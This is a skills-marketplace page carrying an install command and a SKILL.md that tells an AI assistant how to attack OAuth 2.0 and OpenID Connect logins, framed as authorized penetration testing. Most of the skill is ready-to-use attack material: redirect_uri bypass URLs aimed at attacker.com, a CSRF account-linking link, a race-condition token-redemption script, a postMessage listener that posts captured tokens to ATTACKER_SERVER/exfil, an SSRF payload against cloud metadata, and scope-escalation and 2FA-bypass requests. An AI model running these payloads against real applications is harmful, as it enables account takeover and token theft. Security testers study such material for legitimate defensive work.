用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt;运行前请先检查来源。
npx skills add https://github.com/blacklanternsecurity/red-run --skill oauth-attacks命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地?可下载 SkillsMP 当前能够提供的文件。
Multi-phase penetration test orchestrator. Handles recon, assessment surface mapping, vulnerability chaining, and routes to technique skills for execution. Invoke via /red-run-ctf slash command only.
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted Kerberoasting via SPN manipulation, shadow credentials (msDS-KeyCredentialLink → PKINIT), and AdminSDHolder persistence.
Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak certificate mapping), ESC12-15 (YubiHSM, issuance policy, altSecIdentities, application policies), Golden Certificate (forge with stolen CA key), certificate theft (DPAPI/CAPI/CNG), and account persistence via certificate mapping.
基于 SOC 职业分类
正在显示 SKILL.md
| name | oauth-attacks |
| description | Exploit OAuth 2.0 and OpenID Connect vulnerabilities during authorized penetration testing. |
| keywords | ["oauth","oauth attack","oauth bypass","openid connect","oidc attack","social login bypass","redirect uri bypass","oauth token theft","authorization code theft","oauth misconfiguration","sso bypass","login with google","login with facebook","oauth account takeover","pkce bypass","oauth state bypass","oauth scope escalation"] |
| tools | ["burpsuite","jwt_tool","curl"] |
| opsec | low |
You are helping a penetration tester exploit OAuth 2.0 and OpenID Connect vulnerabilities. The target application uses OAuth for authentication (social login, SSO) or authorization (API access, third-party integrations). The goal is to steal authorization codes or tokens, bypass authentication, escalate privileges, or achieve account takeover. All testing is under explicit written authorization.
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
[oauth-attacks] Activated → <target> to the screen on activation.engagement/evidence/ with
descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).Call get_state_summary() from the state MCP server to read current
engagement state. Use it to:
Your return summary must include:
OAuth flows are multi-step browser interactions — browser tools are the natural fit for testing these flows end-to-end.
browser_open for authorization endpoints — initiates the OAuth flowbrowser_fill / browser_click for consent screens, login prompts,
and permission dialogsbrowser_cookies to extract tokens from redirect chains and inspect
session state after OAuth completionbrowser_evaluate to inspect URL fragments for implicit grant tokens
(e.g., window.location.hash), extract authorization codes from redirectsredirect_uri
manipulation, and code/token exchangeMap the OAuth implementation by capturing a complete flow.
# Check for OpenID Connect discovery
curl -s "https://TARGET/.well-known/openid-configuration" | jq .
curl -s "https://TARGET/.well-known/oauth-authorization-server" | jq .
# Key endpoints to find:
# - Authorization endpoint: /authorize, /oauth/authorize, /auth
# - Token endpoint: /token, /oauth/token
# - JWKS endpoint: /jwks, /.well-known/jwks.json
# - Registration endpoint: /register (dynamic client registration)
# - Userinfo endpoint: /userinfo, /me
Intercept the login flow in Burp and note:
GET /authorize?
client_id=APP_CLIENT_ID&
response_type=code& # or token, id_token
redirect_uri=https://app.com/callback&
scope=openid+email+profile&
state=RANDOM_STATE&
nonce=RANDOM_NONCE& # OIDC only
code_challenge=CHALLENGE& # PKCE
code_challenge_method=S256 # PKCE
Key parameters to note:
code (auth code), token (implicit), id_token (OIDC)| Grant Type | Flow | Attack Surface |
|---|---|---|
| Authorization Code | Browser redirect → code → token exchange | Redirect URI, code theft, state bypass |
| Implicit | Browser redirect → token in fragment | Token exposure, no code exchange |
| PKCE | Auth code + code_verifier | PKCE downgrade, weak verifier |
| Client Credentials | Server-to-server, no user | Secret leakage |
| Password (ROPC) | Direct username/password → token | 2FA bypass |
The most common OAuth vulnerability — bypassing redirect_uri validation to steal authorization codes or tokens.
# Try arbitrary domain
https://IDP/authorize?...&redirect_uri=https://attacker.com/callback
# Try subdomain variants
https://IDP/authorize?...&redirect_uri=https://attacker.app.com/callback
https://IDP/authorize?...&redirect_uri=https://app.com.attacker.com/callback
# Try localhost
https://IDP/authorize?...&redirect_uri=https://localhost.attacker.com/callback
# Bypass directory-level checks
https://IDP/authorize?...&redirect_uri=https://app.com/callback/../attacker-page
https://IDP/authorize?...&redirect_uri=https://app.com/callback/..%2F..%2Fattacker
If the app has an open redirect, use it to relay the code:
# App has open redirect at /redirect?url=
https://IDP/authorize?...&redirect_uri=https://app.com/redirect?url=https://attacker.com
The IdP validates app.com, the app redirects to attacker.com with the
code still in the URL.
# Multiple redirect_uri parameters
https://IDP/authorize?...&redirect_uri=https://app.com/callback&redirect_uri=https://attacker.com
# Redirect within redirect
https://IDP/authorize?...&redirect_uri=https://app.com/callback?next=https://attacker.com
# Null byte
https://IDP/authorize?...&redirect_uri=https://app.com/callback%00.attacker.com
# At sign (userinfo bypass)
https://IDP/authorize?...&redirect_uri=https://app.com@attacker.com/callback
# Fragment
https://IDP/authorize?...&redirect_uri=https://app.com/callback%23.attacker.com
# Protocol-relative
https://IDP/authorize?...&redirect_uri=//attacker.com/callback
Some IdPs relax redirect_uri validation for certain scopes:
# Invalid scope may change validation behavior
https://IDP/authorize?...&scope=invalid&redirect_uri=https://attacker.com
The state parameter prevents CSRF on the OAuth flow. Test if it's properly validated.
# Remove state from authorization request
https://IDP/authorize?...&state=
# or omit entirely
# If the callback accepts the response without state validation,
# attacker can force victim to complete an OAuth flow with attacker's code
# Complete OAuth flow normally, capture the callback:
https://app.com/callback?code=AUTH_CODE&state=LEGIT_STATE
# Replay with modified state:
https://app.com/callback?code=AUTH_CODE&state=ANYTHING
# If accepted → state validation is broken
<!-- Force victim to link attacker's OAuth account to their app account -->
<!-- 1. Attacker starts OAuth flow, captures callback URL with attacker's code -->
<!-- 2. Victim clicks this link (or auto-redirected) -->
<a href="https://app.com/callback?code=ATTACKER_CODE">Link Account</a>
<!-- If state isn't validated, victim's app account gets linked to
attacker's OAuth identity. Attacker can now log in as victim. -->
# Capture a valid authorization code
# Try redeeming it multiple times
# First redemption (should work)
curl -s -X POST "https://IDP/token" \
-d "grant_type=authorization_code&code=AUTH_CODE&client_id=APP&redirect_uri=https://app.com/callback"
# Second redemption (should fail — if it works, codes are reusable)
curl -s -X POST "https://IDP/token" \
-d "grant_type=authorization_code&code=AUTH_CODE&client_id=APP&redirect_uri=https://app.com/callback"
# Capture code from App A's flow
# Try redeeming with App B's credentials
curl -s -X POST "https://IDP/token" \
-d "grant_type=authorization_code&code=APP_A_CODE&client_id=APP_B&client_secret=APP_B_SECRET&redirect_uri=https://app-b.com/callback"
# If accepted → audience binding broken
# Capture code, wait, then redeem
# RFC 6749 recommends max 10 minutes
# Wait 15+ minutes
curl -s -X POST "https://IDP/token" \
-d "grant_type=authorization_code&code=OLD_CODE&client_id=APP&redirect_uri=https://app.com/callback"
# If accepted → code lifetime too long
Send multiple token requests simultaneously with the same code:
import requests
import threading
url = "https://IDP/token"
data = {
"grant_type": "authorization_code",
"code": "AUTH_CODE",
"client_id": "APP",
"client_secret": "SECRET",
"redirect_uri": "https://app.com/callback"
}
results = []
def redeem():
r = requests.post(url, data=data)
results.append(r.json())
threads = [threading.Thread(target=redeem) for _ in range(20)]
for t in threads: t.start()
for t in threads: t.join()
tokens = [r for r in results if "access_token" in r]
print(f"[*] {len(tokens)} successful redemptions out of 20")
# Implicit flow returns token in URL fragment
https://app.com/callback#access_token=TOKEN&token_type=Bearer&expires_in=3600
# Fragment is accessible via:
# - XSS on the callback page
# - Referer header if callback page loads external resources
# - Browser history
# - postMessage if callback uses it
If the callback page loads external resources (images, scripts, analytics), the URL (including code/token) may leak via Referer header.
# Check if callback page loads third-party resources
curl -s "https://app.com/callback?code=test" | \
grep -oP 'src="https?://[^"]*"' | grep -v "app.com"
Some implementations pass tokens as query parameters instead of fragments:
# Bad: token in query string (logged by servers, proxies, analytics)
https://app.com/callback?access_token=TOKEN
# Check server logs, proxy logs, browser history
If the callback uses postMessage to relay tokens:
<script>
window.addEventListener('message', function(event) {
// Capture tokens from postMessage
if (event.data && (event.data.access_token || event.data.code)) {
fetch('https://ATTACKER_SERVER/exfil', {
method: 'POST',
body: JSON.stringify(event.data)
});
}
});
</script>
<!-- Open the OAuth callback in a popup -->
<script>
var popup = window.open('https://IDP/authorize?...&response_mode=web_message');
</script>
If the application validates ID tokens (JWTs) from the IdP:
# Decode the ID token
echo "eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJ1c2VyMTIzIn0.sig" | \
cut -d. -f2 | base64 -d 2>/dev/null | jq .
# Check for:
# - Algorithm: RS256, HS256, none
# - Claims: sub, email, email_verified, aud, iss
# - Signature validation
Escalate for algorithm confusion, alg:none, and key injection attacks on ID tokens.
Some IdPs allow users to set unverified email addresses:
# Attacker creates account at IdP with victim's email (unverified)
# Logs into target app via OAuth
# App trusts email claim → creates/links account for victim's email
# Attacker now controls victim's app account
# Check: does the app verify email_verified claim?
# Check: does the IdP enforce email verification?
# OIDC uses nonce to prevent token replay
# Test: omit nonce from authorization request
https://IDP/authorize?...&nonce=
# Test: reuse nonce across sessions
# If accepted → replay attacks possible
If the IdP supports dynamic client registration:
curl -s -X POST "https://IDP/register" \
-H "Content-Type: application/json" \
-d '{
"client_name": "Evil App",
"redirect_uris": ["https://attacker.com/callback"],
"logo_uri": "http://169.254.169.254/latest/meta-data/",
"jwks_uri": "http://internal.server:8080/sensitive",
"sector_identifier_uri": "http://192.168.1.1/admin"
}'
# If the IdP fetches logo_uri, jwks_uri, or sector_identifier_uri → SSRF
# Try redeeming code without code_verifier
curl -s -X POST "https://IDP/token" \
-d "grant_type=authorization_code&code=AUTH_CODE&client_id=APP&redirect_uri=https://app.com/callback"
# If token returned without code_verifier → PKCE not enforced
# Stolen codes can be redeemed without the challenge
# Request with plain instead of S256
https://IDP/authorize?...&code_challenge=VERIFIER&code_challenge_method=plain
# Redeem with same value as both challenge and verifier
curl -s -X POST "https://IDP/token" \
-d "...&code_verifier=VERIFIER"
# If S256 not enforced → attacker who sees the challenge can redeem the code
# Authorization was granted for scope=read
# Try requesting more at token endpoint
curl -s -X POST "https://IDP/token" \
-d "grant_type=authorization_code&code=AUTH_CODE&client_id=APP&scope=read+write+admin&redirect_uri=https://app.com/callback"
# If token has expanded scope → scope escalation
# Refresh token and request additional scopes
curl -s -X POST "https://IDP/token" \
-d "grant_type=refresh_token&refresh_token=REFRESH_TOKEN&scope=read+write+admin"
# ROPC grant bypasses browser-based 2FA
curl -s -X POST "https://IDP/token" \
-d "grant_type=password&username=USER&password=PASS&client_id=APP&client_secret=SECRET"
# If token returned → 2FA is bypassed entirely
victim@example.com (no email verification)victim@example.com)<img src="https://app.com/callback?code=ATTACKER_GITHUB_CODE" />
https://app.com/go?url=https://attacker.comhttps://IDP/authorize?...&redirect_uri=https://app.com/go?url=https://attacker.comapp.com, redirects to app with codeattacker.com — code in RefererAfter confirming OAuth vulnerabilities:
Report in your return summary: any new credentials, tokens, access, vulns, or pivot paths discovered.
When routing, pass along: OAuth flow type, IdP identified, working bypass technique, tokens obtained.
/callback/../other-page/callback?param=attacker.com/callback#@attacker.com